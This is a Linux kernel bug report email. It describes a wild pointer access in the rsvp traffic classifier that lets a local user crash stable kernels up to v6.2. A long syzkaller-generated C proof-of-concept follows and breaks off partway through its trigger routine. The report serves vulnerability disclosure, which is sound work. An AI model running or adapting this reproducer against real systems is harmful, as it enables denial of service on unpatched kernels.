wild pointer access in rsvp classifer in the Linux kernel <= v6.2

[Kyle Zeng <zengyhkyle@xxxxxxxxx>]

Hi Greg,

I recently found a bug in the rsvp traffic classifier in the Linux kernel.
This classifier is already retired in the upstream but affects stable
releases.

The symptom of the bug is that the kernel can be tricked into accessing a
wild pointer, thus crash the kernel.

Since it is just a crash and cannot be used for LPE, I do not want to
trouble security@xxxxxxxxxx. And since the classifier is already
retired in the upstream, I cannot report there.

Since it affects stable releases, I decided to report it here. If it
is not appropriate, I appologize in advance and wonder what will be a
good channel to report bugs that only affects stable releases and no
equivalent fix exists in the upstream.

[Root Cause]
The root cause of the bug is an slab-out-of-bound access, but since the
offset to the original pointer is an `unsign int` fully controlled by
users, the behaviour is ususally a wild pointer access.

in `rsvp_change`, RSVP_PINFO is passed to the kernel without any checks
~~~
static int rsvp_change(...)
{
        ......
        if (tb[TCA_RSVP_PINFO]) {
                pinfo = nla_data(tb[TCA_RSVP_PINFO]);
                f->spi = pinfo->spi;
                f->tunnelhdr = pinfo->tunnelhdr;
        }
        ......
        if (pinfo) {
                s->dpi = pinfo->dpi;
                s->protocol = pinfo->protocol;
                s->tunnelid = pinfo->tunnelid;
        }
        ......
}
~~~

As a result, later when the classifier actually does the classification
in `rsvp_classify`:
~~~
TC_INDIRECT_SCOPE int RSVP_CLS(struct sk_buff *skb, const struct tcf_proto *tp,
                               struct tcf_result *res)
{
        ......
        *(u32 *)(xprt + s->dpi.offset) ^ s->dpi.key)
        ......
}
~~~
`xprt + s->dpi.offset` becomes a wild pointer and crashes the kernel.

[Severity]
This will cause a local denial-of-service.

[Patch]
I don't know enough about this subsystem to suggest a proper patch. But
I will suggest to retire rsvp classifier completely just like in the
upstream.

[Affected Version]
I confirmed that this bug affects v5.10, v6.1, and v6.2.

[Proof-of-Concept]
A POC file is attached to this email.

[Splash]
A kernel oops splash is attached to this email.

Best,
Kyle Zeng

Attachment: splash
Description: Binary data

// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE 

#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <unistd.h>

#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>

static unsigned long long procid;

#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))

struct csum_inet {
	uint32_t acc;
};

static void csum_inet_init(struct csum_inet* csum)
{
	csum->acc = 0;
}

static void csum_inet_update(struct csum_inet* csum, const uint8_t* data, size_t length)
{
	if (length == 0)
		return;
	size_t i = 0;
	for (; i < length - 1; i += 2)
		csum->acc += *(uint16_t*)&data[i];
	if (length & 1)
		csum->acc += le16toh((uint16_t)data[length - 1]);
	while (csum->acc > 0xffff)
		csum->acc = (csum->acc & 0xffff) + (csum->acc >> 16);
}

static uint16_t csum_inet_digest(struct csum_inet* csum)
{
	return ~csum->acc;
}

static bool write_file(const char* file, const char* what, ...)
{
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);
	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		int err = errno;
		close(fd);
		errno = err;
		return false;
	}
	close(fd);
	return true;
}

struct nlmsg {
	char* pos;
	int nesting;
	struct nlattr* nested[8];
	char buf[4096];
};

static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
			 const void* data, int size)
{
	memset(nlmsg, 0, sizeof(*nlmsg));
	struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
	hdr->nlmsg_type = typ;
	hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
	memcpy(hdr + 1, data, size);
	nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}

static void netlink_attr(struct nlmsg* nlmsg, int typ,
			 const void* data, int size)
{
	struct nlattr* attr = (struct nlattr*)nlmsg->pos;
	attr->nla_len = sizeof(*attr) + size;
	attr->nla_type = typ;
	if (size > 0)
		memcpy(attr + 1, data, size);
	nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}

static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
	struct nlattr* attr = (struct nlattr*)nlmsg->pos;
	attr->nla_type = typ;
	nlmsg->pos += sizeof(*attr);
	nlmsg->nested[nlmsg->nesting++] = attr;
}

static void netlink_done(struct nlmsg* nlmsg)
{
	struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];
	attr->nla_len = nlmsg->pos - (char*)attr;
}

static int netlink_send_ext(struct nlmsg* nlmsg, int sock,
			    uint16_t reply_type, int* reply_len, bool dofail)
{
	if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
	exit(1);
	struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
	hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
	struct sockaddr_nl addr;
	memset(&addr, 0, sizeof(addr));
	addr.nl_family = AF_NETLINK;
	ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, (struct sockaddr*)&addr, sizeof(addr));
	if (n != (ssize_t)hdr->nlmsg_len) {
		if (dofail)
	exit(1);
		return -1;
	}
	n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
	if (reply_len)
		*reply_len = 0;
	if (n < 0) {
		if (dofail)
	exit(1);
		return -1;
	}
	if (n < (ssize_t)sizeof(struct nlmsghdr)) {
		errno = EINVAL;
		if (dofail)
	exit(1);
		return -1;
	}
	if (hdr->nlmsg_type == NLMSG_DONE)
		return 0;
	if (reply_len && hdr->nlmsg_type == reply_type) {
		*reply_len = n;
		return 0;
	}
	if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) {
		errno = EINVAL;
		if (dofail)
	exit(1);
		return -1;
	}
	if (hdr->nlmsg_type != NLMSG_ERROR) {
		errno = EINVAL;
		if (dofail)
	exit(1);
		return -1;
	}
	errno = -((struct nlmsgerr*)(hdr + 1))->error;
	return -errno;
}

static int netlink_send(struct nlmsg* nlmsg, int sock)
{
	return netlink_send_ext(nlmsg, sock, 0, NULL, true);
}

static int netlink_query_family_id(struct nlmsg* nlmsg, int sock, const char* family_name, bool dofail)
{
	struct genlmsghdr genlhdr;
	memset(&genlhdr, 0, sizeof(genlhdr));
	genlhdr.cmd = CTRL_CMD_GETFAMILY;
	netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
	netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name, strnlen(family_name, GENL_NAMSIZ - 1) + 1);
	int n = 0;
	int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail);
	if (err < 0) {
		return -1;
	}
	uint16_t id = 0;
	struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr)));
	for (; (char*)attr < nlmsg->buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
		if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
			id = *(uint16_t*)(attr + 1);
			break;
		}
	}
	if (!id) {
		errno = EINVAL;
		return -1;
	}
	recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
	return id;
}

static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset,
			    unsigned int total_len)
{
	struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset);
	if (offset == total_len || offset + hdr->nlmsg_len > total_len)
		return -1;
	return hdr->nlmsg_len;
}

static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type,
				    const char* name, bool up)
{
	struct ifinfomsg hdr;
	memset(&hdr, 0, sizeof(hdr));
	if (up)
		hdr.ifi_flags = hdr.ifi_change = IFF_UP;
	netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr));
	if (name)
		netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
	netlink_nest(nlmsg, IFLA_LINKINFO);
	netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type));
}

static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type,
			       const char* name)
{
	netlink_add_device_impl(nlmsg, type, name, false);
	netlink_done(nlmsg);
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name,
			     const char* peer)
{
	netlink_add_device_impl(nlmsg, "veth", name, false);
	netlink_nest(nlmsg, IFLA_INFO_DATA);
	netlink_nest(nlmsg, VETH_INFO_PEER);
	nlmsg->pos += sizeof(struct ifinfomsg);
	netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer));
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

static void netlink_add_xfrm(struct nlmsg* nlmsg, int sock, const char* name)
{
	netlink_add_device_impl(nlmsg, "xfrm", name, true);
	netlink_nest(nlmsg, IFLA_INFO_DATA);
	int if_id = 1;
	netlink_attr(nlmsg, 2, &if_id, sizeof(if_id));
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name,
			    const char* slave1, const char* slave2)
{
	netlink_add_device_impl(nlmsg, "hsr", name, false);
	netlink_nest(nlmsg, IFLA_INFO_DATA);
	int ifindex1 = if_nametoindex(slave1);
	netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
	int ifindex2 = if_nametoindex(slave2);
	netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type, const char* name, const char* link)
{
	netlink_add_device_impl(nlmsg, type, name, false);
	netlink_done(nlmsg);
	int ifindex = if_nametoindex(link);
	netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t id, uint16_t proto)
{
	netlink_add_device_impl(nlmsg, "vlan", name, false);
	netlink_nest(nlmsg, IFLA_INFO_DATA);
	netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id));
	netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto));
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	int ifindex = if_nametoindex(link);
	netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link)
{
	netlink_add_device_impl(nlmsg, "macvlan", name, false);
	netlink_nest(nlmsg, IFLA_INFO_DATA);
	uint32_t mode = MACVLAN_MODE_BRIDGE;
	netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode));
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	int ifindex = if_nametoindex(link);
	netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name, uint32_t vni, struct in_addr* addr4, struct in6_addr* addr6)
{
	netlink_add_device_impl(nlmsg, "geneve", name, false);
	netlink_nest(nlmsg, IFLA_INFO_DATA);
	netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni));
	if (addr4)
		netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4));
	if (addr6)
		netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6));
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

#define IFLA_IPVLAN_FLAGS 2
#define IPVLAN_MODE_L3S 2
#undef IPVLAN_F_VEPA
#define IPVLAN_F_VEPA 2

static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t mode, uint16_t flags)
{
	netlink_add_device_impl(nlmsg, "ipvlan", name, false);
	netlink_nest(nlmsg, IFLA_INFO_DATA);
	netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode));
	netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags));
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	int ifindex = if_nametoindex(link);
	netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

static void netlink_device_change(struct nlmsg* nlmsg, int sock, const char* name, bool up,
				  const char* master, const void* mac, int macsize,
				  const char* new_name)
{
	struct ifinfomsg hdr;
	memset(&hdr, 0, sizeof(hdr));
	if (up)
		hdr.ifi_flags = hdr.ifi_change = IFF_UP;
	hdr.ifi_index = if_nametoindex(name);
	netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
	if (new_name)
		netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
	if (master) {
		int ifindex = if_nametoindex(master);
		netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
	}
	if (macsize)
		netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
			    const void* addr, int addrsize)
{
	struct ifaddrmsg hdr;
	memset(&hdr, 0, sizeof(hdr));
	hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
	hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
	hdr.ifa_scope = RT_SCOPE_UNIVERSE;
	hdr.ifa_index = if_nametoindex(dev);
	netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, sizeof(hdr));
	netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
	netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
	return netlink_send(nlmsg, sock);
}

static void netlink_add_addr4(struct nlmsg* nlmsg, int sock,
			      const char* dev, const char* addr)
{
	struct in_addr in_addr;
	inet_pton(AF_INET, addr, &in_addr);
	int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
	if (err < 0) {
	}
}

static void netlink_add_addr6(struct nlmsg* nlmsg, int sock,
			      const char* dev, const char* addr)
{
	struct in6_addr in6_addr;
	inet_pton(AF_INET6, addr, &in6_addr);
	int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
	if (err < 0) {
	}
}

static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name,
			      const void* addr, int addrsize, const void* mac, int macsize)
{
	struct ndmsg hdr;
	memset(&hdr, 0, sizeof(hdr));
	hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
	hdr.ndm_ifindex = if_nametoindex(name);
	hdr.ndm_state = NUD_PERMANENT;
	netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr));
	netlink_attr(nlmsg, NDA_DST, addr, addrsize);
	netlink_attr(nlmsg, NDA_LLADDR, mac, macsize);
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

static struct nlmsg nlmsg;

static int tunfd = -1;

#define TUN_IFACE "syz_tun"
#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"

#define IFF_NAPI 0x0010

static void initialize_tun(void)
{
	tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
	if (tunfd == -1) {
		printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
		printf("otherwise fuzzing or reproducing might not work as intended\n");
		return;
	}
	const int kTunFd = 200;
	if (dup2(tunfd, kTunFd) < 0)
	exit(1);
	close(tunfd);
	tunfd = kTunFd;
	struct ifreq ifr;
	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
	ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
	if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
	exit(1);
	}
	char sysctl[64];
	sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
	write_file(sysctl, "0");
	sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
	write_file(sysctl, "0");
	int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (sock == -1)
	exit(1);
	netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4);
	netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6);
	uint64_t macaddr = REMOTE_MAC;
	struct in_addr in_addr;
	inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
	netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr), &macaddr, ETH_ALEN);
	struct in6_addr in6_addr;
	inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
	netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr), &macaddr, ETH_ALEN);
	macaddr = LOCAL_MAC;
	netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN, NULL);
	close(sock);
}

#define DEVLINK_FAMILY_NAME "devlink"

#define DEVLINK_CMD_PORT_GET 5
#define DEVLINK_ATTR_BUS_NAME 1
#define DEVLINK_ATTR_DEV_NAME 2
#define DEVLINK_ATTR_NETDEV_NAME 7

static struct nlmsg nlmsg2;

static void initialize_devlink_ports(const char* bus_name, const char* dev_name,
				     const char* netdev_prefix)
{
	struct genlmsghdr genlhdr;
	int len, total_len, id, err, offset;
	uint16_t netdev_index;
	int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
	if (sock == -1)
	exit(1);
	int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (rtsock == -1)
	exit(1);
	id = netlink_query_family_id(&nlmsg, sock, DEVLINK_FAMILY_NAME, true);
	if (id == -1)
		goto error;
	memset(&genlhdr, 0, sizeof(genlhdr));
	genlhdr.cmd = DEVLINK_CMD_PORT_GET;
	netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr));
	netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
	netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
	err = netlink_send_ext(&nlmsg, sock, id, &total_len, true);
	if (err < 0) {
		goto error;
	}
	offset = 0;
	netdev_index = 0;
	while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) {
		struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr)));
		for (; (char*)attr < nlmsg.buf + offset + len; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
			if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) {
				char* port_name;
				char netdev_name[IFNAMSIZ];
				port_name = (char*)(attr + 1);
				snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix, netdev_index);
				netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0, netdev_name);
				break;
			}
		}
		offset += len;
		netdev_index++;
	}
error:
	close(rtsock);
	close(sock);
}

#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa

static void netdevsim_add(unsigned int addr, unsigned int port_count)
{
	write_file("/sys/bus/netdevsim/del_device", "%u", addr);
	if (write_file("/sys/bus/netdevsim/new_device", "%u %u", addr, port_count)) {
		char buf[32];
		snprintf(buf, sizeof(buf), "netdevsim%d", addr);
		initialize_devlink_ports("netdevsim", buf, "netdevsim");
	}
}

static void initialize_netdevices(void)
{
	char netdevsim[16];
	sprintf(netdevsim, "netdevsim%d", (int)procid);
	struct {
		const char* type;
		const char* dev;
	} devtypes[] = {
		{"ip6gretap", "ip6gretap0"},
		{"bridge", "bridge0"},
		{"vcan", "vcan0"},
		{"bond", "bond0"},
		{"team", "team0"},
		{"dummy", "dummy0"},
		{"nlmon", "nlmon0"},
		{"caif", "caif0"},
		{"batadv", "batadv0"},
		{"vxcan", "vxcan1"},
		{"veth", 0},
		{"wireguard", "wg0"},
		{"wireguard", "wg1"},
		{"wireguard", "wg2"},
	};
	const char* devmasters[] = {"bridge", "bond", "team", "batadv"};
	struct {
		const char* name;
		int macsize;
		bool noipv6;
	} devices[] = {
		{"lo", ETH_ALEN},
		{"sit0", 0},
		{"bridge0", ETH_ALEN},
		{"vcan0", 0, true},
		{"tunl0", 0},
		{"gre0", 0},
		{"gretap0", ETH_ALEN},
		{"ip_vti0", 0},
		{"ip6_vti0", 0},
		{"ip6tnl0", 0},
		{"ip6gre0", 0},
		{"ip6gretap0", ETH_ALEN},
		{"erspan0", ETH_ALEN},
		{"bond0", ETH_ALEN},
		{"veth0", ETH_ALEN},
		{"veth1", ETH_ALEN},
		{"team0", ETH_ALEN},
		{"veth0_to_bridge", ETH_ALEN},
		{"veth1_to_bridge", ETH_ALEN},
		{"veth0_to_bond", ETH_ALEN},
		{"veth1_to_bond", ETH_ALEN},
		{"veth0_to_team", ETH_ALEN},
		{"veth1_to_team", ETH_ALEN},
		{"veth0_to_hsr", ETH_ALEN},
		{"veth1_to_hsr", ETH_ALEN},
		{"hsr0", 0},
		{"dummy0", ETH_ALEN},
		{"nlmon0", 0},
		{"vxcan0", 0, true},
		{"vxcan1", 0, true},
		{"caif0", ETH_ALEN},
		{"batadv0", ETH_ALEN},
		{netdevsim, ETH_ALEN},
		{"xfrm0", ETH_ALEN},
		{"veth0_virt_wifi", ETH_ALEN},
		{"veth1_virt_wifi", ETH_ALEN},
		{"virt_wifi0", ETH_ALEN},
		{"veth0_vlan", ETH_ALEN},
		{"veth1_vlan", ETH_ALEN},
		{"vlan0", ETH_ALEN},
		{"vlan1", ETH_ALEN},
		{"macvlan0", ETH_ALEN},
		{"macvlan1", ETH_ALEN},
		{"ipvlan0", ETH_ALEN},
		{"ipvlan1", ETH_ALEN},
		{"veth0_macvtap", ETH_ALEN},
		{"veth1_macvtap", ETH_ALEN},
		{"macvtap0", ETH_ALEN},
		{"macsec0", ETH_ALEN},
		{"veth0_to_batadv", ETH_ALEN},
		{"veth1_to_batadv", ETH_ALEN},
		{"batadv_slave_0", ETH_ALEN},
		{"batadv_slave_1", ETH_ALEN},
		{"geneve0", ETH_ALEN},
		{"geneve1", ETH_ALEN},
		{"wg0", 0},
		{"wg1", 0},
		{"wg2", 0},
	};
	int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (sock == -1)
	exit(1);
	unsigned i;
	for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
		netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev);
	for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
		char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
		sprintf(slave0, "%s_slave_0", devmasters[i]);
		sprintf(veth0, "veth0_to_%s", devmasters[i]);
		netlink_add_veth(&nlmsg, sock, slave0, veth0);
		sprintf(slave1, "%s_slave_1", devmasters[i]);
		sprintf(veth1, "veth1_to_%s", devmasters[i]);
		netlink_add_veth(&nlmsg, sock, slave1, veth1);
		sprintf(master, "%s0", devmasters[i]);
		netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL);
		netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL);
	}
	netlink_add_xfrm(&nlmsg, sock, "xfrm0");
	netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL);
	netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL);
	netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr");
	netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr");
	netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
	netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL);
	netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL);
	netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi");
	netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0", "veth1_virt_wifi");
	netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan");
	netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q));
	netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD));
	netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan");
	netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan");
	netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0);
	netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S, IPVLAN_F_VEPA);
	netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap");
	netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap");
	netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap");
	char addr[32];
	sprintf(addr, DEV_IPV4, 14 + 10);
	struct in_addr geneve_addr4;
	if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0)
	exit(1);
	struct in6_addr geneve_addr6;
	if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0)
	exit(1);
	netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0);
	netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6);
	netdevsim_add((int)procid, 4);
	for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
		char addr[32];
		sprintf(addr, DEV_IPV4, i + 10);
		netlink_add_addr4(&nlmsg, sock, devices[i].name, addr);
		if (!devices[i].noipv6) {
			sprintf(addr, DEV_IPV6, i + 10);
			netlink_add_addr6(&nlmsg, sock, devices[i].name, addr);
		}
		uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
		netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr, devices[i].macsize, NULL);
	}
	close(sock);
}

static long syz_emit_ethernet(volatile long a0, volatile long a1, volatile long a2)
{
	if (tunfd < 0)
		return (uintptr_t)-1;
	uint32_t length = a0;
	char* data = (char*)a1;
	return write(tunfd, data, length);
}

static void loop();

static int do_sandbox_none(void)
{
	initialize_tun();
	initialize_netdevices();
	loop();
}

void *build_pkt(struct nlmsghdr *hdr, struct tcmsg *tcmsg, void *attrs, int attr_len)
{
	void *payload = calloc(1, 0x1000);
	void *ptr = payload;
	hdr->nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct tcmsg) + attr_len;
	// printf("nlmsg_len: %#x\n", hdr->nlmsg_len);
	// printf("attr_len: %#x\n", attr_len);

	memcpy(ptr, hdr, sizeof(struct nlmsghdr));
	ptr += sizeof(struct nlmsghdr);
	memcpy(ptr, tcmsg, sizeof(struct tcmsg));
	ptr += sizeof(struct tcmsg);
	memcpy(ptr, attrs, attr_len);
	return payload;
}

void loop(void)
{
	int nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

	struct nlmsghdr nlmsghdr = {
		.nlmsg_len = 0,
		.nlmsg_type = RTM_NEWQDISC, // 0x24
		.nlmsg_flags = 0xf0b,
		.nlmsg_seq = 0,
		.nlmsg_pid = 0
	};

	struct tcmsg tcmsg = {
		.tcm_family = 0,
		.tcm__pad1 = 0,
		.tcm__pad2 = 0,
		.tcm_ifindex = 1,
		.tcm_handle = 0,
